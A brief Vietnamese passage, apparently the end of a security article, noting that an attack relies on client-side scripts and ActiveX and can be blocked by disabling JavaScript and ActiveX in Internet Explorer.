, tất cả quá trình tấn công đều dựa trên việc sử dụng các kịch bản phía máy khách và các đối tượng ActiveX, vậy nên bằng cách vô hiệu hóa việc sử dụng javascript và ActiveX trong Internet Explorer có thể ngăn chặn tất cả các cuộc tấn công.
 
Các chủ đề có liên quan khác

Các chủ đề có liên quan khác

Top